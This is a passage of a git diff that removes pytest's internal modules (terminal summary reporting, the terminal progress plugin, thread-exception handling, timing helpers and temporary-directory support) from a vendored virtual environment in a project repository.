bestrelpath(self.startpath, Path(fspath)) - else: - res = "[location]" - return res + " " - - def _getfailureheadline(self, rep): - head_line = rep.head_line - if head_line: - return head_line - return "test session" # XXX? - - def _getcrashline(self, rep): - try: - return str(rep.longrepr.reprcrash) - except AttributeError: - try: - return str(rep.longrepr)[:50] - except AttributeError: - return "" - - def _get_max_warnings(self) -> int | None: - """Return the max_warnings threshold, from CLI or INI, or None if unset.""" - value = self.config.option.max_warnings - if value is not None: - return int(value) - ini_value = self.config.getini("max_warnings") - if ini_value: - return int(ini_value) - return None - - # - # Summaries for sessionfinish. - # - def getreports(self, name: str): - return [x for x in self.stats.get(name, ()) if not hasattr(x, "_pdbshown")] - - def summary_warnings(self) -> None: - if self.hasopt("w"): - all_warnings: list[WarningReport] | None = self.stats.get("warnings") - if not all_warnings: - return - - final = self._already_displayed_warnings is not None - if final: - warning_reports = all_warnings[self._already_displayed_warnings :] - else: - warning_reports = all_warnings - self._already_displayed_warnings = len(warning_reports) - if not warning_reports: - return - - reports_grouped_by_message: dict[str, list[WarningReport]] = {} - for wr in warning_reports: - reports_grouped_by_message.setdefault(wr.message, []).append(wr) - - def collapsed_location_report(reports: list[WarningReport]) -> str: - locations = [] - for w in reports: - location = w.get_location(self.config) - if location: - locations.append(location) - - if len(locations) < 10: - return "\n".join(map(str, locations)) - - counts_by_filename = Counter( - str(loc).split("::", 1)[0] for loc in locations - ) - return "\n".join( - "{}: {} warning{}".format(k, v, "s" if v > 1 else "") - for k, v in counts_by_filename.items() - ) - - title = "warnings summary (final)" if final else "warnings summary" - self.write_sep("=", title, yellow=True, bold=False) - for message, message_reports in reports_grouped_by_message.items(): - maybe_location = collapsed_location_report(message_reports) - if maybe_location: - self._tw.line(maybe_location) - lines = message.splitlines() - indented = "\n".join(" " + x for x in lines) - message = indented.rstrip() - else: - message = message.rstrip() - self._tw.line(message) - self._tw.line() - self._tw.line( - "-- Docs: https://docs.pytest.org/en/stable/how-to/capture-warnings.html" - ) - - def summary_passes(self) -> None: - self.summary_passes_combined("passed", "PASSES", "P") - - def summary_xpasses(self) -> None: - self.summary_passes_combined("xpassed", "XPASSES", "X") - - def summary_passes_combined( - self, which_reports: str, sep_title: str, needed_opt: str - ) -> None: - if self.config.option.tbstyle != "no": - if self.hasopt(needed_opt): - reports: list[TestReport] = self.getreports(which_reports) - if not reports: - return - self.write_sep("=", sep_title) - for rep in reports: - if rep.sections: - msg = self._getfailureheadline(rep) - self.write_sep("_", msg, green=True, bold=True) - self._outrep_summary(rep) - self._handle_teardown_sections(rep.nodeid) - - def _get_teardown_reports(self, nodeid: str) -> list[TestReport]: - reports = self.getreports("") - return [ - report - for report in reports - if report.when == "teardown" and report.nodeid == nodeid - ] - - def _handle_teardown_sections(self, nodeid: str) -> None: - for report in self._get_teardown_reports(nodeid): - self.print_teardown_sections(report) - - def print_teardown_sections(self, rep: TestReport) -> None: - showcapture = self.config.option.showcapture - if showcapture == "no": - return - for secname, content in rep.sections: - if showcapture != "all" and showcapture not in secname: - continue - if "teardown" in secname: - self._tw.sep("-", secname) - if content[-1:] == "\n": - content = content[:-1] - self._tw.line(content) - - def summary_failures(self) -> None: - style = self.config.option.tbstyle - self.summary_failures_combined("failed", "FAILURES", style=style) - - def summary_xfailures(self) -> None: - show_tb = self.config.option.xfail_tb - style = self.config.option.tbstyle if show_tb else "no" - self.summary_failures_combined("xfailed", "XFAILURES", style=style) - - def summary_failures_combined( - self, - which_reports: str, - sep_title: str, - *, - style: str, - needed_opt: str | None = None, - ) -> None: - if style != "no": - if not needed_opt or self.hasopt(needed_opt): - reports: list[BaseReport] = self.getreports(which_reports) - if not reports: - return - self.write_sep("=", sep_title) - if style == "line": - for rep in reports: - line = self._getcrashline(rep) - self._outrep_summary(rep) - self.write_line(line) - else: - for rep in reports: - msg = self._getfailureheadline(rep) - self.write_sep("_", msg, red=True, bold=True) - self._outrep_summary(rep) - self._handle_teardown_sections(rep.nodeid) - - def summary_errors(self) -> None: - if self.config.option.tbstyle != "no": - reports: list[BaseReport] = self.getreports("error") - if not reports: - return - self.write_sep("=", "ERRORS") - for rep in self.stats["error"]: - msg = self._getfailureheadline(rep) - if rep.when == "collect": - msg = "ERROR collecting " + msg - else: - msg = f"ERROR at {rep.when} of {msg}" - self.write_sep("_", msg, red=True, bold=True) - self._outrep_summary(rep) - - def _outrep_summary(self, rep: BaseReport) -> None: - rep.toterminal(self._tw) - showcapture = self.config.option.showcapture - if showcapture == "no": - return - for secname, content in rep.sections: - if showcapture != "all" and showcapture not in secname: - continue - self._tw.sep("-", secname) - if content[-1:] == "\n": - content = content[:-1] - self._tw.line(content) - - def summary_stats(self) -> None: - if self.verbosity < -1: - return - - session_duration = self._session_start.elapsed() - (parts, main_color) = self.build_summary_stats_line() - line_parts = [] - - display_sep = self.verbosity >= 0 - if display_sep: - fullwidth = self._tw.fullwidth - for text, markup in parts: - with_markup = self._tw.markup(text, **markup) - if display_sep: - fullwidth += len(with_markup) - len(text) - line_parts.append(with_markup) - msg = ", ".join(line_parts) - - main_markup = {main_color: True} - duration = f" in {format_session_duration(session_duration.seconds)}" - duration_with_markup = self._tw.markup(duration, **main_markup) - if display_sep: - fullwidth += len(duration_with_markup) - len(duration) - msg += duration_with_markup - - if display_sep: - markup_for_end_sep = self._tw.markup("", **main_markup) - if markup_for_end_sep.endswith("\x1b[0m"): - markup_for_end_sep = markup_for_end_sep[:-4] - fullwidth += len(markup_for_end_sep) - msg += markup_for_end_sep - - if display_sep: - self.write_sep("=", msg, fullwidth=fullwidth, **main_markup) - else: - self.write_line(msg, **main_markup) - - def short_test_summary(self) -> None: - if not self.reportchars: - return - - def show_simple(lines: list[str], *, stat: str) -> None: - failed = self.stats.get(stat, []) - if not failed: - return - config = self.config - for rep in failed: - color = _color_for_type.get(stat, _color_for_type_default) - line = _get_line_with_reprcrash_message( - config, rep, self._tw, {color: True} - ) - lines.append(line) - - def show_xfailed(lines: list[str]) -> None: - xfailed = self.stats.get("xfailed", []) - for rep in xfailed: - verbose_word, verbose_markup = rep._get_verbose_word_with_markup( - self.config, {_color_for_type["warnings"]: True} - ) - markup_word = self._tw.markup(verbose_word, **verbose_markup) - nodeid = _get_node_id_with_markup(self._tw, self.config, rep) - line = f"{markup_word} {nodeid}" - reason = rep.wasxfail - if reason: - line += " - " + str(reason) - - lines.append(line) - - def show_xpassed(lines: list[str]) -> None: - xpassed = self.stats.get("xpassed", []) - for rep in xpassed: - verbose_word, verbose_markup = rep._get_verbose_word_with_markup( - self.config, {_color_for_type["warnings"]: True} - ) - markup_word = self._tw.markup(verbose_word, **verbose_markup) - nodeid = _get_node_id_with_markup(self._tw, self.config, rep) - line = f"{markup_word} {nodeid}" - reason = rep.wasxfail - if reason: - line += " - " + str(reason) - lines.append(line) - - def show_skipped_folded(lines: list[str]) -> None: - skipped: list[CollectReport] = self.stats.get("skipped", []) - fskips = _folded_skips(self.startpath, skipped) if skipped else [] - if not fskips: - return - verbose_word, verbose_markup = skipped[0]._get_verbose_word_with_markup( - self.config, {_color_for_type["warnings"]: True} - ) - markup_word = self._tw.markup(verbose_word, **verbose_markup) - prefix = "Skipped: " - for num, fspath, lineno, reason in fskips: - if reason.startswith(prefix): - reason = reason[len(prefix) :] - if lineno is not None: - lines.append(f"{markup_word} [{num}] {fspath}:{lineno}: {reason}") - else: - lines.append(f"{markup_word} [{num}] {fspath}: {reason}") - - def show_skipped_unfolded(lines: list[str]) -> None: - skipped: list[CollectReport] = self.stats.get("skipped", []) - - for rep in skipped: - assert rep.longrepr is not None - assert isinstance(rep.longrepr, tuple), (rep, rep.longrepr) - assert len(rep.longrepr) == 3, (rep, rep.longrepr) - - verbose_word, verbose_markup = rep._get_verbose_word_with_markup( - self.config, {_color_for_type["warnings"]: True} - ) - markup_word = self._tw.markup(verbose_word, **verbose_markup) - nodeid = _get_node_id_with_markup(self._tw, self.config, rep) - line = f"{markup_word} {nodeid}" - reason = rep.longrepr[2] - if reason: - line += " - " + str(reason) - lines.append(line) - - def show_skipped(lines: list[str]) -> None: - if self.foldskipped: - show_skipped_folded(lines) - else: - show_skipped_unfolded(lines) - - REPORTCHAR_ACTIONS: Mapping[str, Callable[[list[str]], None]] = { - "x": show_xfailed, - "X": show_xpassed, - "f": partial(show_simple, stat="failed"), - "s": show_skipped, - "p": partial(show_simple, stat="passed"), - "E": partial(show_simple, stat="error"), - } - - lines: list[str] = [] - for char in self.reportchars: - action = REPORTCHAR_ACTIONS.get(char) - if action: # skipping e.g. "P" (passed with output) here. - action(lines) - - if lines: - self.write_sep("=", "short test summary info", cyan=True, bold=True) - for line in lines: - self.write_line(line) - - def _get_main_color(self) -> tuple[str, list[str]]: - if self._main_color is None or self._known_types is None or self._is_last_item: - self._set_main_color() - assert self._main_color - assert self._known_types - return self._main_color, self._known_types - - def _determine_main_color(self, unknown_type_seen: bool) -> str: - stats = self.stats - if "failed" in stats or "error" in stats: - main_color = "red" - elif "warnings" in stats or "xpassed" in stats or unknown_type_seen: - main_color = "yellow" - elif "passed" in stats or not self._is_last_item: - main_color = "green" - else: - main_color = "yellow" - return main_color - - def _set_main_color(self) -> None: - unknown_types: list[str] = [] - for found_type in self.stats: - if found_type: # setup/teardown reports have an empty key, ignore them - if found_type not in KNOWN_TYPES and found_type not in unknown_types: - unknown_types.append(found_type) - self._known_types = list(KNOWN_TYPES) + unknown_types - self._main_color = self._determine_main_color(bool(unknown_types)) - - def build_summary_stats_line(self) -> tuple[list[tuple[str, dict[str, bool]]], str]: - """ - Build the parts used in the last summary stats line. - - The summary stats line is the line shown at the end, "=== 12 passed, 2 errors in Xs===". - - This function builds a list of the "parts" that make up for the text in that line, in - the example above it would be:: - - [ - ("12 passed", {"green": True}), - ("2 errors", {"red": True} - ] - - That last dict for each line is a "markup dictionary", used by TerminalWriter to - color output. - - The final color of the line is also determined by this function, and is the second - element of the returned tuple. - """ - if self.config.getoption("collectonly"): - return self._build_collect_only_summary_stats_line() - else: - return self._build_normal_summary_stats_line() - - def _get_reports_to_display(self, key: str) -> list[Any]: - """Get test/collection reports for the given status key, such as `passed` or `error`.""" - reports = self.stats.get(key, []) - return [x for x in reports if getattr(x, "count_towards_summary", True)] - - def _build_normal_summary_stats_line( - self, - ) -> tuple[list[tuple[str, dict[str, bool]]], str]: - main_color, known_types = self._get_main_color() - parts = [] - - for key in known_types: - reports = self._get_reports_to_display(key) - if reports: - count = len(reports) - color = _color_for_type.get(key, _color_for_type_default) - markup = {color: True, "bold": color == main_color} - parts.append(("%d %s" % pluralize(count, key), markup)) # noqa: UP031 - - if not parts: - parts = [("no tests ran", {_color_for_type_default: True})] - - return parts, main_color - - def _build_collect_only_summary_stats_line( - self, - ) -> tuple[list[tuple[str, dict[str, bool]]], str]: - deselected = len(self._get_reports_to_display("deselected")) - errors = len(self._get_reports_to_display("error")) - - if self._numcollected == 0: - parts = [("no tests collected", {"yellow": True})] - main_color = "yellow" - - elif deselected == 0: - main_color = "green" - collected_output = "%d %s collected" % pluralize(self._numcollected, "test") # noqa: UP031 - parts = [(collected_output, {main_color: True})] - else: - all_tests_were_deselected = self._numcollected == deselected - if all_tests_were_deselected: - main_color = "yellow" - collected_output = f"no tests collected ({deselected} deselected)" - else: - main_color = "green" - selected = self._numcollected - deselected - collected_output = f"{selected}/{self._numcollected} tests collected ({deselected} deselected)" - - parts = [(collected_output, {main_color: True})] - - if errors: - main_color = _color_for_type["error"] - parts += [("%d %s" % pluralize(errors, "error"), {main_color: True})] # noqa: UP031 - - return parts, main_color - - -def _get_node_id_with_markup(tw: TerminalWriter, config: Config, rep: BaseReport): - nodeid = config.cwd_relative_nodeid(rep.nodeid) - path, *parts = nodeid.split("::") - if parts: - parts_markup = tw.markup("::".join(parts), bold=True) - return path + "::" + parts_markup - else: - return path - - -def _format_trimmed(format: str, msg: str, available_width: int) -> str | None: - """Format msg into format, ellipsizing it if doesn't fit in available_width. - - Returns None if even the ellipsis can't fit. - """ - # Only use the first line. - i = msg.find("\n") - if i != -1: - msg = msg[:i] - - ellipsis = "..." - format_width = wcswidth(format.format("")) - if format_width + len(ellipsis) > available_width: - return None - - if format_width + wcswidth(msg) > available_width: - available_width -= len(ellipsis) - msg = msg[:available_width] - while format_width + wcswidth(msg) > available_width: - msg = msg[:-1] - msg += ellipsis - - return format.format(msg) - - -def _get_line_with_reprcrash_message( - config: Config, rep: BaseReport, tw: TerminalWriter, word_markup: dict[str, bool] -) -> str: - """Get summary line for a report, trying to add reprcrash message.""" - verbose_word, verbose_markup = rep._get_verbose_word_with_markup( - config, word_markup - ) - word = tw.markup(verbose_word, **verbose_markup) - node = _get_node_id_with_markup(tw, config, rep) - - line = f"{word} {node}" - line_width = wcswidth(line) - - msg: str | None - try: - if isinstance(rep.longrepr, str): - msg = rep.longrepr - else: - # Type ignored intentionally -- possible AttributeError expected. - msg = rep.longrepr.reprcrash.message # type: ignore[union-attr] - except AttributeError: - pass - else: - if ( - running_on_ci() or config.option.verbose >= 2 - ) and not config.option.force_short_summary: - msg = f" - {msg}" - else: - available_width = tw.fullwidth - line_width - msg = _format_trimmed(" - {}", msg, available_width) - if msg is not None: - line += msg - - return line - - -def _folded_skips( - startpath: Path, - skipped: Sequence[CollectReport], -) -> list[tuple[int, str, int | None, str]]: - d: dict[tuple[str, int | None, str], list[CollectReport]] = {} - for event in skipped: - assert event.longrepr is not None - assert isinstance(event.longrepr, tuple), (event, event.longrepr) - assert len(event.longrepr) == 3, (event, event.longrepr) - fspath, lineno, reason = event.longrepr - # For consistency, report all fspaths in relative form. - fspath = bestrelpath(startpath, Path(fspath)) - keywords = getattr(event, "keywords", {}) - # Folding reports with global pytestmark variable. - # This is a workaround, because for now we cannot identify the scope of a skip marker - # TODO: Revisit after marks scope would be fixed. - if ( - event.when == "setup" - and "skip" in keywords - and "pytestmark" not in keywords - ): - key: tuple[str, int | None, str] = (fspath, None, reason) - else: - key = (fspath, lineno, reason) - d.setdefault(key, []).append(event) - values: list[tuple[int, str, int | None, str]] = [] - for key, events in d.items(): - values.append((len(events), *key)) - return values - - -_color_for_type = { - "failed": "red", - "error": "red", - "warnings": "yellow", - "passed": "green", - "subtests passed": "green", - "subtests failed": "red", -} -_color_for_type_default = "yellow" - - -def pluralize(count: int, noun: str) -> tuple[int, str]: - # No need to pluralize words such as `failed` or `passed`. - if noun not in ["error", "warnings", "test"]: - return count, noun - - # The `warnings` key is plural. To avoid API breakage, we keep it that way but - # set it to singular here so we can determine plurality in the same way as we do - # for `error`. - noun = noun.replace("warnings", "warning") - - return count, noun + "s" if count != 1 else noun - - -def _plugin_nameversions(plugininfo) -> list[str]: - values: list[str] = [] - for plugin, dist in plugininfo: - # Gets us name and version! - name = f"{dist.project_name}-{dist.version}" - # Questionable convenience, but it keeps things short. - if name.startswith("pytest-"): - name = name[7:] - # We decided to print python package names they can have more than one plugin. - if name not in values: - values.append(name) - return values - - -def format_session_duration(seconds: float) -> str: - """Format the given seconds in a human readable manner to show in the final summary.""" - if seconds < 60: - return f"{seconds:.2f}s" - else: - dt = datetime.timedelta(seconds=int(seconds)) - return f"{seconds:.2f}s ({dt})" - - -def format_node_duration(seconds: float) -> str: - """Format the given seconds in a human readable manner to show in the test progress.""" - # The formatting is designed to be compact and readable, with at most 7 characters - # for durations below 100 hours. - if seconds < 0.00001: - return f" {seconds * 1000000:.3f}us" - if seconds < 0.0001: - return f" {seconds * 1000000:.2f}us" - if seconds < 0.001: - return f" {seconds * 1000000:.1f}us" - if seconds < 0.01: - return f" {seconds * 1000:.3f}ms" - if seconds < 0.1: - return f" {seconds * 1000:.2f}ms" - if seconds < 1: - return f" {seconds * 1000:.1f}ms" - if seconds < 60: - return f" {seconds:.3f}s" - if seconds < 3600: - return f" {seconds // 60:.0f}m {seconds % 60:.0f}s" - return f" {seconds // 3600:.0f}h {(seconds % 3600) // 60:.0f}m" - - -def _get_raw_skip_reason(report: TestReport) -> str: - """Get the reason string of a skip/xfail/xpass test report. - - The string is just the part given by the user. - """ - if hasattr(report, "wasxfail"): - reason = report.wasxfail - if reason.startswith("reason: "): - reason = reason[len("reason: ") :] - return reason - else: - assert report.skipped - assert isinstance(report.longrepr, tuple) - _, _, reason = report.longrepr - if reason.startswith("Skipped: "): - reason = reason[len("Skipped: ") :] - elif reason == "Skipped": - reason = "" - return reason - - -class TerminalProgressPlugin: - """Terminal progress reporting plugin using OSC 9;4 ANSI sequences. - - Emits OSC 9;4 sequences to indicate test progress to terminal - tabs/windows/etc. - - Not all terminal emulators support this feature. - - Ref: https://conemu.github.io/en/AnsiEscapeCodes.html#ConEmu_specific_OSC - """ - - def __init__(self, tr: TerminalReporter) -> None: - self._tr = tr - self._session: Session | None = None - self._has_failures = False - - def _emit_progress( - self, - state: Literal["remove", "normal", "error", "indeterminate", "paused"], - progress: int | None = None, - ) -> None: - """Emit OSC 9;4 sequence for indicating progress to the terminal. - - :param state: - Progress state to set. - :param progress: - Progress value 0-100. Required for "normal", optional for "error" - and "paused", otherwise ignored. - """ - assert progress is None or 0 <= progress <= 100 - - # OSC 9;4 sequence: ESC ] 9 ; 4 ; state ; progress ST - # ST can be ESC \ or BEL. ESC \ seems better supported. - match state: - case "remove": - sequence = "\x1b]9;4;0;\x1b\\" - case "normal": - assert progress is not None - sequence = f"\x1b]9;4;1;{progress}\x1b\\" - case "error": - if progress is not None: - sequence = f"\x1b]9;4;2;{progress}\x1b\\" - else: - sequence = "\x1b]9;4;2;\x1b\\" - case "indeterminate": - sequence = "\x1b]9;4;3;\x1b\\" - case "paused": - if progress is not None: - sequence = f"\x1b]9;4;4;{progress}\x1b\\" - else: - sequence = "\x1b]9;4;4;\x1b\\" - - self._tr.write_raw(sequence, flush=True) - - @hookimpl - def pytest_sessionstart(self, session: Session) -> None: - self._session = session - # Show indeterminate progress during collection. - self._emit_progress("indeterminate") - - @hookimpl - def pytest_collection_finish(self) -> None: - assert self._session is not None - if self._session.testscollected > 0: - # Switch from indeterminate to 0% progress. - self._emit_progress("normal", 0) - - @hookimpl - def pytest_runtest_logreport(self, report: TestReport) -> None: - if report.failed: - self._has_failures = True - - # Let's consider the "call" phase for progress. - if report.when != "call": - return - - # Calculate and emit progress. - assert self._session is not None - collected = self._session.testscollected - if collected > 0: - reported = self._tr.reported_progress - progress = min(reported * 100 // collected, 100) - self._emit_progress("error" if self._has_failures else "normal", progress) - - @hookimpl - def pytest_sessionfinish(self) -> None: - self._emit_progress("remove") diff --git a/venv/Lib/site-packages/_pytest/terminalprogress.py b/venv/Lib/site-packages/_pytest/terminalprogress.py deleted file mode 100644 index 287f0d569ffdd0714b2e3997c52ef101d34a8066..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/_pytest/terminalprogress.py +++ /dev/null @@ -1,30 +0,0 @@ -# A plugin to register the TerminalProgressPlugin plugin. -# -# This plugin is not loaded by default due to compatibility issues (#13896), -# but can be enabled in one of these ways: -# - The terminal plugin enables it in a few cases where it's safe, and not -# blocked by the user (using e.g. `-p no:terminalprogress`). -# - The user explicitly requests it, e.g. using `-p terminalprogress`. -# -# In a few years, if it's safe, we can consider enabling it by default. Then, -# this file will become unnecessary and can be inlined into terminal.py. - -from __future__ import annotations - -import os - -from _pytest.config import Config -from _pytest.config import hookimpl -from _pytest.terminal import TerminalProgressPlugin -from _pytest.terminal import TerminalReporter - - -@hookimpl(trylast=True) -def pytest_configure(config: Config) -> None: - reporter: TerminalReporter | None = config.pluginmanager.get_plugin( - "terminalreporter" - ) - - if reporter is not None and reporter.isatty() and os.environ.get("TERM") != "dumb": - plugin = TerminalProgressPlugin(reporter) - config.pluginmanager.register(plugin, name="terminalprogress-plugin") diff --git a/venv/Lib/site-packages/_pytest/threadexception.py b/venv/Lib/site-packages/_pytest/threadexception.py deleted file mode 100644 index eb57783be261ebf30f1c03a04cab471f5ec6f063..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/_pytest/threadexception.py +++ /dev/null @@ -1,152 +0,0 @@ -from __future__ import annotations - -import collections -from collections.abc import Callable -import functools -import sys -import threading -import traceback -from typing import NamedTuple -from typing import TYPE_CHECKING -import warnings - -from _pytest.config import Config -from _pytest.nodes import Item -from _pytest.stash import StashKey -from _pytest.tracemalloc import tracemalloc_message -import pytest - - -if TYPE_CHECKING: - pass - -if sys.version_info < (3, 11): - from exceptiongroup import ExceptionGroup - - -class ThreadExceptionMeta(NamedTuple): - msg: str - cause_msg: str - exc_value: BaseException | None - - -thread_exceptions: StashKey[collections.deque[ThreadExceptionMeta | BaseException]] = ( - StashKey() -) - - -def collect_thread_exception(config: Config) -> None: - pop_thread_exception = config.stash[thread_exceptions].pop - errors: list[pytest.PytestUnhandledThreadExceptionWarning | RuntimeError] = [] - meta = None - hook_error = None - try: - while True: - try: - meta = pop_thread_exception() - except IndexError: - break - - if isinstance(meta, BaseException): - hook_error = RuntimeError("Failed to process thread exception") - hook_error.__cause__ = meta - errors.append(hook_error) - continue - - msg = meta.msg - try: - warnings.warn(pytest.PytestUnhandledThreadExceptionWarning(msg)) - except pytest.PytestUnhandledThreadExceptionWarning as e: - # This except happens when the warning is treated as an error (e.g. `-Werror`). - if meta.exc_value is not None: - # Exceptions have a better way to show the traceback, but - # warnings do not, so hide the traceback from the msg and - # set the cause so the traceback shows up in the right place. - e.args = (meta.cause_msg,) - e.__cause__ = meta.exc_value - errors.append(e) - - if len(errors) == 1: - raise errors[0] - if errors: - raise ExceptionGroup("multiple thread exception warnings", errors) - finally: - del errors, meta, hook_error - - -def cleanup( - *, config: Config, prev_hook: Callable[[threading.ExceptHookArgs], object] -) -> None: - try: - try: - # We don't join threads here, so exceptions raised from any - # threads still running by the time _threading_atexits joins them - # do not get captured (see #13027). - collect_thread_exception(config) - finally: - threading.excepthook = prev_hook - finally: - del config.stash[thread_exceptions] - - -def thread_exception_hook( - args: threading.ExceptHookArgs, - /, - *, - append: Callable[[ThreadExceptionMeta | BaseException], object], -) -> None: - try: - # we need to compute these strings here as they might change after - # the excepthook finishes and before the metadata object is - # collected by a pytest hook - thread_name = "" if args.thread is None else args.thread.name - summary = f"Exception in thread {thread_name}" - traceback_message = "\n\n" + "".join( - traceback.format_exception( - args.exc_type, - args.exc_value, - args.exc_traceback, - ) - ) - tracemalloc_tb = "\n" + tracemalloc_message(args.thread) - msg = summary + traceback_message + tracemalloc_tb - cause_msg = summary + tracemalloc_tb - - append( - ThreadExceptionMeta( - # Compute these strings here as they might change later - msg=msg, - cause_msg=cause_msg, - exc_value=args.exc_value, - ) - ) - except BaseException as e: - append(e) - # Raising this will cause the exception to be logged twice, once in our - # collect_thread_exception and once by sys.excepthook - # which is fine - this should never happen anyway and if it does - # it should probably be reported as a pytest bug. - raise - - -def pytest_configure(config: Config) -> None: - prev_hook = threading.excepthook - deque: collections.deque[ThreadExceptionMeta | BaseException] = collections.deque() - config.stash[thread_exceptions] = deque - config.add_cleanup(functools.partial(cleanup, config=config, prev_hook=prev_hook)) - threading.excepthook = functools.partial(thread_exception_hook, append=deque.append) - - -@pytest.hookimpl(trylast=True) -def pytest_runtest_setup(item: Item) -> None: - collect_thread_exception(item.config) - - -@pytest.hookimpl(trylast=True) -def pytest_runtest_call(item: Item) -> None: - collect_thread_exception(item.config) - - -@pytest.hookimpl(trylast=True) -def pytest_runtest_teardown(item: Item) -> None: - collect_thread_exception(item.config) diff --git a/venv/Lib/site-packages/_pytest/timing.py b/venv/Lib/site-packages/_pytest/timing.py deleted file mode 100644 index 639bd99bd3e284bc3019d059a6ab2cc9cc4ca752..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/_pytest/timing.py +++ /dev/null @@ -1,97 +0,0 @@ -"""Indirection for time functions. - -We intentionally grab some "time" functions internally to avoid tests mocking "time" to affect -pytest runtime information (issue #185). - -Fixture "mock_timing" also interacts with this module for pytest's own tests. -""" - -from __future__ import annotations - -import dataclasses -from datetime import datetime -from datetime import timezone -from time import perf_counter -from time import sleep -from time import time -from typing import TYPE_CHECKING - - -if TYPE_CHECKING: - from pytest import MonkeyPatch - - -@dataclasses.dataclass(frozen=True) -class Instant: - """ - Represents an instant in time, used to both get the timestamp value and to measure - the duration of a time span. - - Inspired by Rust's `std::time::Instant`. - """ - - # Creation time of this instant, using time.time(), to measure actual time. - # Note: using a `lambda` to correctly get the mocked time via `MockTiming`. - # pylint: disable-next=lambda-assignment - time: float = dataclasses.field(default_factory=lambda: time(), init=False) # noqa: PLW0108 - - # Performance counter tick of the instant, used to measure precise elapsed time. - # Note: using a `lambda` to correctly get the mocked time via `MockTiming`. - perf_count: float = dataclasses.field( - default_factory=lambda: perf_counter(), # noqa: PLW0108 - init=False, - ) - - def elapsed(self) -> Duration: - """Measure the duration since `Instant` was created.""" - return Duration(start=self, stop=Instant()) - - def as_utc(self) -> datetime: - """Instant as UTC datetime.""" - return datetime.fromtimestamp(self.time, timezone.utc) - - -@dataclasses.dataclass(frozen=True) -class Duration: - """A span of time as measured by `Instant.elapsed()`.""" - - start: Instant - stop: Instant - - @property - def seconds(self) -> float: - """Elapsed time of the duration in seconds, measured using a performance counter for precise timing.""" - return self.stop.perf_count - self.start.perf_count - - -@dataclasses.dataclass -class MockTiming: - """Mocks _pytest.timing with a known object that can be used to control timing in tests - deterministically. - - pytest itself should always use functions from `_pytest.timing` instead of `time` directly. - - This then allows us more control over time during testing, if testing code also - uses `_pytest.timing` functions. - - Time is static, and only advances through `sleep` calls, thus tests might sleep over large - numbers and obtain accurate time() calls at the end, making tests reliable and instant.""" - - _current_time: float = datetime(2020, 5, 22, 14, 20, 50).timestamp() - - def sleep(self, seconds: float) -> None: - self._current_time += seconds - - def time(self) -> float: - return self._current_time - - def patch(self, monkeypatch: MonkeyPatch) -> None: - # pylint: disable-next=import-self - from _pytest import timing # noqa: PLW0406 - - monkeypatch.setattr(timing, "sleep", self.sleep) - monkeypatch.setattr(timing, "time", self.time) - monkeypatch.setattr(timing, "perf_counter", self.time) - - -__all__ = ["perf_counter", "sleep", "time"] diff --git a/venv/Lib/site-packages/_pytest/tmpdir.py b/venv/Lib/site-packages/_pytest/tmpdir.py deleted file mode 100644 index 9196006e500997f3e806fae68f6a255335b0bf3d..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/_pytest/tmpdir.py +++ /dev/null @@ -1,351 +0,0 @@ -# mypy: allow-untyped-defs -"""Support for providing temporary directories to test functions.""" - -from __future__ import annotations - -import atexit -from collections.abc import Generator -from contextlib import ExitStack -import dataclasses -import os -from pathlib import Path -import re -from shutil import rmtree -import stat -import tempfile -from typing import Any -from typing import final -from typing import Literal - -from .pathlib import cleanup_dead_symlinks -from .pathlib import LOCK_TIMEOUT -from .pathlib import make_numbered_dir -from .pathlib import make_numbered_dir_with_cleanup -from .pathlib import rm_rf -from _pytest.compat import get_user_id -from _pytest.config import Config -from _pytest.config import ExitCode -from _pytest.config import hookimpl -from _pytest.config.argparsing import Parser -from _pytest.deprecated import check_ispytest -from _pytest.fixtures import fixture -from _pytest.fixtures import FixtureRequest -from _pytest.monkeypatch import MonkeyPatch -from _pytest.nodes import Item -from _pytest.reports import TestReport -from _pytest.stash import StashKey - - -tmppath_result_key = StashKey[dict[str, bool]]() -RetentionType = Literal["all", "failed", "none"] - - -@final -@dataclasses.dataclass -class TempPathFactory: - """Factory for temporary directories under the common base temp directory, - as discussed at :ref:`temporary directory location and retention`. - """ - - _given_basetemp: Path | None - # pluggy TagTracerSub, not currently exposed, so Any. - _trace: Any - _basetemp: Path | None - _retention_count: int - _retention_policy: RetentionType - - def __init__( - self, - given_basetemp: Path | None, - retention_count: int, - retention_policy: RetentionType, - trace, - basetemp: Path | None = None, - *, - _ispytest: bool = False, - ) -> None: - check_ispytest(_ispytest) - if given_basetemp is None: - self._given_basetemp = None - else: - # Use os.path.abspath() to get absolute path instead of resolve() as it - # does not work the same in all platforms (see #4427). - # Path.absolute() exists, but it is not public (see https://bugs.python.org/issue25012). - self._given_basetemp = Path(os.path.abspath(str(given_basetemp))) - self._trace = trace - self._retention_count = retention_count - self._retention_policy = retention_policy - self._basetemp = basetemp - # Register cleanups for session finish. Also called atexit as a last - # resort if sessionfinish for some reason doesn't happen. - self._exit_stack = ExitStack() - - @classmethod - def from_config( - cls, - config: Config, - *, - _ispytest: bool = False, - ) -> TempPathFactory: - """Create a factory according to pytest configuration. - - :meta private: - """ - check_ispytest(_ispytest) - count = int(config.getini("tmp_path_retention_count")) - if count < 0: - raise ValueError( - f"tmp_path_retention_count must be >= 0. Current input: {count}." - ) - - policy = config.getini("tmp_path_retention_policy") - if policy not in ("all", "failed", "none"): - raise ValueError( - f"tmp_path_retention_policy must be either all, failed, none. Current input: {policy}." - ) - - return cls( - given_basetemp=config.option.basetemp, - trace=config.trace.get("tmpdir"), - retention_count=count, - retention_policy=policy, - _ispytest=True, - ) - - def _ensure_relative_to_basetemp(self, basename: str) -> str: - basename = os.path.normpath(basename) - if (self.getbasetemp() / basename).resolve().parent != self.getbasetemp(): - raise ValueError(f"{basename} is not a normalized and relative path") - return basename - - def mktemp(self, basename: str, numbered: bool = True) -> Path: - """Create a new temporary directory managed by the factory. - - :param basename: - Directory base name, must be a relative path. - - :param numbered: - If ``True``, ensure the directory is unique by adding a numbered - suffix greater than any existing one: ``basename="foo-"`` and ``numbered=True`` - means that this function will create directories named ``"foo-0"``, - ``"foo-1"``, ``"foo-2"`` and so on. - - :returns: - The path to the new directory. - """ - basename = self._ensure_relative_to_basetemp(basename) - if not numbered: - p = self.getbasetemp().joinpath(basename) - p.mkdir(mode=0o700) - else: - p = make_numbered_dir(root=self.getbasetemp(), prefix=basename, mode=0o700) - self._trace("mktemp", p) - return p - - def getbasetemp(self) -> Path: - """Return the base temporary directory, creating it if needed. - - :returns: - 